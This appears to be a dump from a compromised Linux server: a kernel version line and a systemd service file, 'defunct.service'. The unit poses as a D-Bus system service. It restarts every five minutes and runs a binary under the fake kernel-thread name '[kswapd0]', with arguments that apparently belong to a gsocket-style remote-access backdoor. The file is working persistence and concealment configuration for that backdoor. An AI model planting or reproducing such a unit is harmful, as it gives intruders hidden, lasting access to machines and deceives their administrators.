Linux puskom-ProLiant-DL385-Gen10 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023 x86_64

//lib/systemd/system/defunct.service

 [Unit]
Description=D-Bus System Connection Bus
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=300
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/defunct.dat -ilq' exec -a '[kswapd0]' '/usr/bin/defunct'"

[Install]
WantedBy=multi-user.target